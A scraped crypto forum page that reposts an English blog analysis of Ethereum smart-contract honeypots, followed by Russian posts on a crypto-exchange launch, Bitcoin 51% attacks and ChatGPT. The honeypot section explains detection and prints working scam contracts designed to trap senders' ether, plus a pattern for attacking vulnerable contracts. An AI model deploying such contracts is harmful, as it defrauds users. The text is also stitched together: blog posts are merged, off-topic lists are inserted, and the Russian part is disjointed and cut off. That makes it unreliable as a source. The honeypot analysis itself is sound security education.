or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them. However, with the rise of Blockchain technology and the smart contract concept. Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology? The Blockchain technology is built upon 6 main layers that are: The TCP/IP network Peer-to-Peer protocols Consensus algorithms Cryptography algorithms Execution (Data blocs, Transactions, …) Applications (Dapps, smart contracts …) Black hat hackers started to use this concept to trap users both with good or bad intentions. The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap. Best 10 solidity smart contract audit tools that both developers and auditors use during their audit? Slither Securify SmartCheck Oyente Mythril ContractFuzzer Remix IDE static analysis plug-in Manticore sFuzz MadMax What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain. In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract. What are the types of smart contract honeypots? Honeypots in smart contract can be divided into 3 main categories depending on the used techniques: EVM based smart contract honeypots Solidity compiler-based smart contract honeypots Etherscan based smart contract honeypots The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation. six things you should do to prevent using components with known vulnerabilities: Use components from official repositories Remove unused components Only accept components with active support Put a vulnerability management system for you components Put in place a components firewall Remove or replace components with a stopped support Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users. The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled. The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen. The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user. EVM based smart contract honeypots The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example: This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal. However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract. Another example of the balance disorder type of honeypot could be found here: https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453 By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code. I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here: And wait for a moment about 30 seconds to get the source code. By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example. The condition in line 24 will never be verified and the money will be stuck in the contract. Solidity compiler-based smart contract honeypots As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post. Inheritance Disorder technique One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected. In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it. To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples: Example1: You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money. However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner. Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same. Example2 Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function. Skip Empty String Literal Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it. The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed. This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract. Here is a simple example of this honeypot: Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code The source code is a little bit long so I will put just the most important functions: In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract. Type Deduction Overflow The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow. This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code: You can check the whole code here: https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit. However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei. Uninitialized Struct The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it. An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value. This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it. Here is an example of such a honeypot: https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code This contract asks the user to guess a number while betting with some of his money. The secret value that a user is going to guess is stored in the first slot of the smart contract. For a quick analysis of this contract, the user would assume that the contract is vulnerable as even private variables could be seen in the Blockchain. However, once the user will call the play() function and send money to it, the function will create a structure “game” in line 51 without correctly initializing it. This means that this structure variable will point to the first slot (variable secretNumber). In addition, the game.player will be the variable that will overwrite the secretNumber variable. Therefore, the user “would not” will not be able to correctly guess the number. Actually, in this example, the honeypot could be bypassed to retrieve the money. If you take a look at the value affected to the game.player variable that overwrite the secretNumber. You will see that it is simply the sender’s address. Therefore, the value the user should send, is simply his address converted to decimals. Etherscan based smart contract honeypots All the smart contracts that we have seen until now, exploit a solidity language gap of knowledge in the user. However, in this section of this blog post, the deployer exploits some features related to etherscan platform to hide some important information that may trick users. Hidden State Update The Etherscan platform helps developers and any Ethereum Blockchain user to debug his smart contract or track his transactions. Therefore, the platform display user’s transaction and internal messages that are performed by smart contracts. However, one of the features of Etherscan is that it does not show internal messages with an empty value. Therefore, smart contract honeypot deployer exploit this feature to trick users and change the smart contract behavior. Here is an example to better understand this concept: Check the following smart contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code This contract might be used as a honeypot, as the user could be fooled by the initial value of the variable passHasBeenSet. By checking the Etherscan data he would not be able to see any transaction that has changed the value of passHasBeenSet. Therefore, he would assume that the value didn’t change and attempt to exploit the contract. To do that, the user would try to exploit the contract by sending more than one ether to the contract using the GetGift() after setting the hashPass using SetPass() function. However, the passHasBeenSet variable might be already changed by another contract and that would not be seen in the etherscan platform. Straw Man Contract This technique is built upon showing a source code for a contract that is not actually the one used by the contract. For example, the deployer could build a contract that requires another library and that that library address is initialized during the deployment of the contract or by calling a specific function. At this stage, there is nothing that holds the deployer from using another contract address that is totally different than the one that the source code is displayed in Etherscan. Unfortunately, this really a tricky honeypot and a really difficult technique to discover from a user. I mean the user should verify the addresses of the deployed contract and the different transactions and data passed to the contract to be able to find this issue. Moreover, even if the user tries to test this smart contract in a different contract, he will use the smart contract code displayed by the attacker and he will see a normal behavior. Which makes it even more difficult to find the issue. Here is an example of such a honeypot, try to take a look at it and see what makes this smart contract a honeypot: https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code Etherscan is an Ethereum blockchain explorer that, besides other features, allows developers to submit the code of the smart contracts they deploy. The main benefit of this feature is that it allows users to check what contracts do by reading their source code. Etherscan makes sure that the code matches the smart contract as deployed. The list of verified contracts is long. As of this writing, Etherscan offers the source code for 26055 contracts, which can be browsed here. On a lazy Sunday afternoon I decided to casually browse it to see what kind of contracts people were running and get a sense of what people use the blockchain for, and how well written and secure these contracts are. Most contracts I found implemented tokens, crowdsales, multi-signature wallets, ponzis, and.. honeypots! Honeypot contracts are the most interesting findings to me. Such contracts hold ether, and pretend to do so insecurely. In short, they are scam contracts that try to fool you into thinking you can steal the ether they hold, while in fact all you can do is lose ether. A common pattern they follow is, in order to retrieve the ether they hold, you must send them some ether of your own first. Of course, if you try that, you’re in for a nasty surprise: the smart contract eats up your ether, and you find out that the smart contract does not do what you thought it did. In this post I will analyze a couple honeypot contracts I came across, and explain what they seem to do, but really do. The not-really-insecure non-lottery The first contract I will go through implements a lottery that, apparently, is horribly insecure and easy to steal from with a guaranteed win. I have come across several of these. The last instance I found is deployed at address 0x8685631276cfcf17a973d92f6dc11645e5158c0c, and its source code can be read here. I am copying the code below for convenience. Can you spot the bait? Can you tell why, if you try to exploit it, you will actually lose ether? pragma solidity ^0.4.23;// CryptoRoulette // // Guess the number secretly stored in the blockchain and win the whole contract balance! // A new number is randomly chosen after each try. // // To play, call the play() method with the guessed number (1-16). Bet price: 0.2 ethercontract CryptoRoulette { uint256 private secretNumber; uint256 public lastPlayed; uint256 public betPrice = 0.001 ether; address public ownerAddr; struct Game { address player; uint256 number; } Game[] public gamesPlayed; constructor() public { ownerAddr = msg.sender; shuffle(); } function shuffle() internal { // randomly set secretNumber with a value between 1 and 10 secretNumber = 6; } function play(uint256 number) payable public { require(msg.value >= betPrice && number <= 10); Game game; game.player = msg.sender; game.number = number; gamesPlayed.push(game); if (number == secretNumber) { // win! msg.sender.transfer(this.balance); } //shuffle(); lastPlayed = now; } function kill() public { if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) { suicide(msg.sender); } } function() public payable { } } It’s easy to tell that the shuffle() method sets secretNumber to 6. Hence, if you call play(6)and send it 0.001 ether, you will always win your ether plus whatever the balance of the contract is, namely 0.015 ether. Easy money, right? Wrong. What’s the trick? Look closely at how play() is implemented. It declares a variable Game game, but does not initialize it. It will therefore default to a pointer to slot zero of the contract’s storage space. Then, it stores your address in its first member, storage slot 0, and the submitted number in the second one, that maps to storage slot 1. So, in practice, this will end up overwriting the contract’s secretNumber with the attacker account’s address, and lastPlayed with the number submitted. Then, it will compare secretNumber, which is now your account’s address, with the number you submitted. Since you can only submit numbers smaller than 10, you can only win if your account’s address is within the range 0x0 to 0x0a. (Don’t bother trying to bruteforce-search for one account in that small range! Simply unfeasible.) So, the comparison will fail, and the contract will keep your ether. Of course, the attacker can at any time call kill() to retrieve the ether. The not-really-insecure non-riddle This is another fun one. It had me scratching my head for a while. However, there is a huge giveaway that the contract is up to something nasty right away. But let’s not get ahead of ourselves. Here is its code. Can you spot the supposed vulnerability? And, can you tell why an exploit won’t work? And what is the giveaway I was talking about? contract G_GAME { function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} } The code supposedly implements a riddle. It sets up a question, and, if you can tell what the answer is, it will presumably send you its balance, currently a little more than 1 ether. Of course, to produce an answer, you must send an ether first, which you will get back if you are correct. The code seems fine, but there is a dirty trick: notice how NewQuestion allows questionSender to submit a hash that does not match _question. So, as long as this function isn’t used, we should be alright. Can we tell what the question and answer are? If you read the transaction history of the contract on etherscan, it appears that the 2nd transaction sets up the question. It’s even more obvious if you click the “Convert to UT8” button on etherscan. This reveals the question “I am very easy to get into,but it is hard to get out of me. What am I?”, and the answer “TroublE”. Since this transaction is called, according to etherscan, after the creation of the contract, responseHash is going to be zero, and will become keccak265("TroublE"). Then, there is a third transaction that loads up one ether in the contract. So, apparently, we could call Play("TroublE") and send one ether to get two ether back. Too good to be true? Probably. Let’s make sure. We can make sure we will the contract’s ether by inspecting the state of the smart contract. Its variables are not public, but still all it takes is just a few extra strokes to retrieve their values by querying the blockchain. questionSender and responseHash are the 2nd and 3rd variables, so they will occupy slots 1 and 2 on the storage space of the smart contract. Let’s retrieve their values. web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 1, console.log); The result is `0x0..0765951ab946f3a6f0379680a6b05fb807d52ba09`. That spells trouble (pun intended) for an attacker, since the transaction setting up the question came from an account starting with0x21d2. Something’s up. web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 2, console.log); The result is `0xc3fa7df9bf24…`. Is this the hash of “TroublE”? web3.sha3('TroublE'); That call returns 0x92a930d5..., so it turns out that, if we were to call Play("TroublE") and send 1 ether, we’d actually lose it. But how is it possible that the hashes do not match? Notice how StartGame does nothing if responseHash is already set. Clearly, that second transaction did not alter the state of the contract, so it must have already been set before this transaction. But how is it possible that responseHash was already initialized, if that was the first transaction after the creation of the contract? After some serious head scratching, I found a recent interesting post on honeypot contracts that explains that Etherscan does not show transactions between contracts when msg.value is zero. Other blockchain explorers such as Etherchain do show them. Surely enough, etherchain reveals a couple additional transactions in the contract’s history, where a contract at 0x765951.. modifies responseHash via a zero-value transactions. So let’s check these transactions; perhaps the ether can still be stolen? To track what happened, we need to decode these calls. We can get the contract’s ABI from Etherscan, and the internal transaction data from the “parity traces” of Etherchain (first, second). That’s all we need to decode the transactions into human readable format. const abiDecoder = require('abi-decoder'); const Web3 = require('web3'); const web3 = new Web3();const abi = [{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_response”,”type”:”string”}],”name”:”StartGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_responseHash”,”type”:”bytes32"}],”name”:”NewQuestion”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:true,”inputs”:[],”name”:”question”,”outputs”:[{“name”:””,”type”:”string”}],”payable”:false,”stateMutability”:”view”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_response”,”type”:”string”}],”name”:”Play”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[],”name”:”StopGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“payable”:true,”stateMutability”:”payable”,”type”:”fallback”}];const data1 = '0x1f1c827f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000754726f75626c4500000000000000000000000000000000000000000000000000';const data2 = '0x3e3ee8590000000000000000000000000000000000000000000000000000000000000040c3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f906700000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000';abiDecoder.addABI(abi); console.log(abiDecoder.decodeMethod(data1)); console.log(abiDecoder.decodeMethod(data2)); Running this code, we get the following result: { name: ‘StartGame’, params: [ { name: ‘_question’, value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’, type: ‘string’ }, { name: ‘_response’, value: ‘TroublE’, type: ‘string’ } ] } { name: ‘NewQuestion’, params: [ { name: ‘_question’, value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’, type: ‘string’ }, { name: ‘_responseHash’, value: ‘0xc3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f9067’, type: ‘bytes32’ } ] } We learn that the first transaction sets the answer to keccak256("TroublE"), but the second one sets the answer to a hash value for which we don’t know the original data! Again it’s quite easy to miss that the second call does not use _question to compute the hash; instead, it’s set to an arbitrary value that does not match the string provided in the previous call, although the question does match. So, unless we can find out a value that produces the given hash, possibly via a dictionary attack or a bruteforce search, we’re out of luck. And, given how sophisticated this honeypot is, I would assume trying to bruteforce the hash is not going to work out very well for us. Unraveling this honeypot took quite some effort. Its creator is ultimately counting on attackers trusting the etherscan data, which does not contain the full picture. The giveaway I said this contract contains a dead giveaway that its creator is playing tricks. This is in this line: require(msg.sender == tx.origin); What this line achieves is, it prevents contracts from calling Play. This is because tx.origin is always an “external account”, and never a smart contract. Why is this useful for the attacker? A way to safely attack a contract is to call them from an “attack contract” that reverts execution if it didn’t gain ether from attack: function attack() { uint intialBalance = this.balance; attack_contract(); require (this.balance > initialBalance); } This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves. Literature: ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER BERLIN VERSION beacfbd – 2022-10-24 DR. GAVIN WOOD FOUNDER, ETHEREUM & PARITY From Smart to Secure Contracts: Automated Security Assessment and Improvement of Ethereum Smart Contracts Christof Ferreira Torres The Art of The Scam: Demystifying Honeypots in Ethereum Smart Contracts Christof Ferreira Torres, Mathis Steichen, and Radu State, University of Luxembourg A survey of attacks on Ethereum smart contracts Nicola Atzei, Massimo Bartoletti, and Tiziana Cimoli Conclusion Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with. These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is. If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code. GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/UrkOGyuuepE Source: https://cryptodeep.ru/solidity-vulnerable-honeypots Криптоанализ Навигация по записям
  18. Рады сообщить вам, что в скором времени будет запущен новый сервис обмена криптовалют - 5minChange Это новый криптообменник, который позволит вам быстро и безопасно обменивать различные криптовалюты. Одним из главных преимуществ 5minChange является скорость обмена. Вы сможете произвести операцию всего за 5 минут, что очень удобно, если у вас есть срочная потребность в обмене. 5minChange также предоставляет широкий выбор криптовалют для обмена и работу с многими платежными сервисами. Кроме того, сервис имеет простой и удобный интерфейс, который позволяет быстро и легко производить операции с криптовалютами. Мы очень ждем запуска криптообменника 5minChange и надеемся, что он станет незаменимым инструментом для всех, кто работает с криптовалютами. 🎁 В первые дни работы обменника курсы обмена будут уменьшены. 🎁 Обменник будет работать на отзывы - успей воспользоваться Следить за новостями проекта вы так же можете в нашем телеграмм-канале обменника: t.me/fiveminchange (а еще там выкладываются интересные новости, буквально 1-2 раза в день. Советую заглянуть😉)
  19. Биткоин является примером децентрализованной сети. Нет людей или организаций, которые контролируют его. Это часть его архитектуры. Для многих создание Bitcoin Cash под предлогом того, что блоки с большим объемом памяти были бы выгодны, рассматривается большинством членов сообщества как пример атаки на децентрализацию. зависимость от сети заинтересованной группы и ее технологий для майнинга и размещения узлов. Национальные (и даже наднациональные, такие как Европейский Союз) органы власти также стремятся к централизованному контролю. Эти политические институты иногда предназначены для запрета использования и эксплуатации Биткоинов кем-либо, кроме властей. Однако дизайн сети помешал этой альтернативе, заставив их испытать третью и самую большую опасность для Биткоина, по словам этого автора. ChatGPT стал неотъемлемым инструментом, который большинство людей ежедневно использует для автоматизации различных задач. Если вы использовали ChatGPT какое-то время, вы бы поняли, что он может давать неправильные ответы и ограничивает нулевой контекст по некоторым нишевым темам. Это поднимает вопрос о том, как мы можем подключиться к chatGPT, чтобы преодолеть разрыв и позволить ChatGPT иметь больше пользовательских данных. Огромное количество знаний распространяется на различных платформах, с которыми мы ежедневно взаимодействуем, т. е. через вики-страницы confluence на работе, слабые группы, корпоративную базу знаний, Reddit, Stack Overflow, книги, информационные бюллетени и документы Google, которыми делятся коллеги. Отслеживание всех этих источников информации само по себе является работой на полный рабочий день. Было бы неплохо, если бы вы могли выборочно выбирать источники данных и с легкостью передавать эту информацию в диалог ChatGPT с вашими данными? Существует несколько уровней безопасности Биткоин. Мы можем говорить о майнинге и потенциальных атаках 51% для реорганизации самых последних блоков, мы можем изучить шансы взломать кошелек, чтобы найти его закрытый ключ, или мы можем пойти по легкому пути и предположить рост социальных атак ( злонамеренный разработчик, вставляющий вредоносный код, или отдельные пользователи Биткоинов, которых обманом заставляют потерять свои монеты). Прежде всего, атака 51% — одна из самых больших угроз безопасности Биткоина, и она является частью схемы Proof of Work. Идея о том, что простое большинство хешрейта майнеров может действовать недобросовестно, является серьезным вектором атаки. Однако стимулы так называемого консенсуса Накамото устроены таким образом, что играть по правилам выгоднее, чем пытаться атаковать систему. Покупка и аренда оборудования для майнинга, а затем потребление большого количества электроэнергии для двойного расходования транзакций и реорганизации самых последних блоков — совсем недешевое удовольствие. При хешрейте более 360 экзахэшей в секунду даже самые изобретательные правительства и транснациональные корпорации в мире будут бороться за то, чтобы накопить 51%. Кроме того, суперкомпьютеры не оптимизированы для запуска хэшей SHA-256, как Биткоин ASIC, поэтому, если вы соберете вместе все суперкомпьютеры в мире, вы получите лишь эквивалент очень крошечного и незначительного пула майнинга. Атака 51% на Биткоин требует покупки или аренды дефицитного и узкоспециализированного оборудования, которое в настоящее время используется для защиты сети, при этом получая вознаграждение за игру по правилам. Финансовые стимулы имеют значение, и до сих пор майнеры оставались честными, сосредоточенными на своей цели и эффективно использовали энергию. Любой, кто преследует этот тип атаки на Биткоин, требует много ресурсов для его поддержания. Самый большой риск, с которым сталкивается злоумышленник, заключается в том, что честные участники сети разветвляются на новую цепочку, которая копирует набор UTXO, чтобы сохранить законное право собственности на монету. Такие усилия не дают никаких гарантий какой-либо прибыльности или успеха, что в лучшем случае может послужить политическим FUD против безопасности сети. Если финансовые стимулы останутся постоянными, мы, скорее всего, никогда не увидим серьезной атаки 51%. ChatGPT, языковой бот с искусственным интеллектом, покоривший мир, только что добавил больше огневой мощи в свой арсенал благодаря выпуску новых плагинов OpenAI. Эти плагины открывают широкий спектр сторонних источников знаний и баз данных, включая Интернет, тем самым расширяя его и без того впечатляющие функциональные возможности. Интеграция этих новых плагинов может изменить правила игры для инвесторов и трейдеров в криптоиндустрии. Однако влияние этой интеграции на криптоиндустрию еще предстоит увидеть. Влияние интернет-функциональности ChatGPT на криптовалюту Возможность ChatGPT получать доступ к Интернету в режиме реального времени может иметь серьезные последствия для инвесторов и трейдеров в криптоиндустрии, а также для рынка в целом. Имея доступ к постоянно расширяющемуся пулу информации, чат-бот может предоставлять инвесторам и трейдерам информацию о тенденциях и событиях рынка в режиме реального времени. Это означает, что пользователи могут оставаться в курсе последних новостей и аналитических материалов, что потенциально позволяет им принимать более обоснованные и выгодные решения. Даже большие пулы, состоящие из нескольких пользователей, которые объединяют свои вычислительные мощности, чтобы разделить вознаграждение, подчиняются теории игр, которая делает их честными. Под давлением правительства они могут предпочесть полностью прекратить майнинг, чтобы не атаковать сеть. Отключение майнинга вызовет сбои в оставшихся блоках цикла, но после каждых 2016 блоков (примерно 2 недели) происходит новая корректировка сложности, и всегда есть кто-то еще в другой части мира, кто хочет начать майнинг, когда закончится майнинг. шансы успешно найти правильный хеш становятся выше. Биткоин очень хорошо продуман, и есть причина, по которой эти атаки никогда не были успешными — не в первые дни, когда их было легче осуществить, Кроме того, ChatGPT утверждает, что в результате роста популярности появятся злоумышленники. Таким образом, с самого начала запуск атак 51% не должен подпадать под это описание, так как присоединение большего количества пользователей также приведет к развертыванию большего количества майнинг-ферм. Однако было важно объяснить, поскольку программное обеспечение ИИ не имеет прямого отношения к проблеме. ChatGPT — это следующая эволюция языковых моделей OpenAI, в данном случае специально настроенная для работы в качестве «чат-бота Oracle» (мое определение), который знает о абсурдно большом количестве вещей, и с которым вы можете консультироваться, задавая вопросы как естественную речь. В частности, здесь я попытался удовлетворить свое любопытство в отношении криптовалют, блокчейнов и т. д., а точнее их приложений. ChatGPT предоставил мне возможность исследовать вопросы о криптомире, которые я просто не знал, где задать. Я начал пытаться получить представление о будущем криптовалют, а затем перешел к вопросу, который меня больше всего интересует: каковы текущие и будущие приложения технологии с конкретными примерами? (В отличие от просто идеализированных приложений, которые на практике могут не реализоваться.) Ниже мои вопросы выделены жирным шрифтом, а ответы ChatGPT — в текстовом формате. Тут и там, когда я думал, что ChatGPT может что-то выдумывать, я заходил в Google и искал информацию, чтобы подтвердить или опровергнуть ответы ChatGPT. При написании этой статьи я вставил комментарии в виде цитат между своими вопросами и ответами ChatGPT. Эти комментарии, которые я сделал, иногда относятся непосредственно к «качеству» ответов ChatGPT, а иногда к переданной информации и любым фактам, которые я мог проверить или исключить после консультации в Интернете. В качестве основного аргумента в пользу флагманского цифрового актива ChatGPT назвал децентрализацию – тот факт, что ни один субъект, например, правительство или финансовое учреждение, не может контролировать его, что, в свою очередь, обеспечивает большую свободу, автономию и устойчивость к цензуре и манипуляциям. Второй причиной, ИИ выделил то, что биткоин может обеспечивать доступ к финансовым услугам для лиц, где доступа к банковским услугам нет или он затруднён, например, в регионах с неразвитой или плохой развитой банковской системой. Для того, чтобы пользоваться криптовалютой нужен только смартфон и доступ в интернет. На третьем месте стоят комиссии за транзакции в биткоинах, которые могут быть ниже «по сравнению с традиционными финансовыми услугами, особенно при совершении трансграничных транзакций». В выдаче от ChatGPT подчеркивается, что это также может снизить издержки как для физических, так и для юридических лиц, которым необходимо совершить международные переводы. Кроме того, «биткоин-транзакции записываются в публичную, устойчивую к взлому бухгалтерскую книгу, называемую блокчейн», поэтому «транзакции можно легко проверить и отследить, что снижает риск мошенничества и коррупции». Регулирование и большие криптоугрозы для Биткоина Как было сказано выше, именно здесь кроется наибольшая опасность. В мгновение ока каждая страна мира могла бы объединиться и юридически запретить обмен Биткоинов на товары или услуги. Или усложнить жизнь компаниям в секторе, которые препятствуют инициативам, отводя Биткоин только лабораториям компьютерной инженерии. В краткосрочной перспективе и фрагментарно это происходит и сегодня. Здесь, в нашем кругу влияния, благодаря США, идея не в том, чтобы создавать законы, тормозящие технологическое и экономическое развитие. Злоумышленное использование также может убедить общественность в том, что полицейская проверка будет полезной. Хотя это самая реальная опасность, на практике это не так просто. Достаточно одной стране разорвать соглашение против Биткоинов, чтобы высосать весь этот Биткоин, действуя как «криптоубежище». Мы и все, кто работает в этом секторе, должны наполнить рынок хорошими примерами использования, расширяя возможности альтернативных сообществ и экономических структур. А также развитие технологий для обеспечения более прозрачной и эгалитарной системы. Это то, чего все жаждут помимо риска. Потенциальные риски для всех криптовалют Тем не менее, существуют также потенциальные риски, связанные с этим развитием. Одним из потенциальных рисков является надежность информации, к которой обращается бот. Не вся информация, доступная в Интернете, является точной или заслуживающей доверия, и использование такой информации может привести к неверным инвестиционным решениям. Поэтому трейдеры и инвесторы должны проявлять осторожность и следить за тем, чтобы информация, которую они используют для принятия решений, поступала из надежных источников. Еще одним потенциальным риском является скорость движения рынка. Информация в режиме реального времени может быстро устареть в быстро меняющемся мире криптотрейдинга. Принятие решений на основе информации, которая больше не актуальна, может привести к значительным потерям. Во-вторых, давайте поговорим о переборе кошельков, чтобы найти приватный ключ, позволяющий хакерам украсть средства. Это, безусловно, тип уязвимости безопасности, которая теоретически должна стать более распространенной по мере того, как Биткоин получит массовое распространение. Каждый 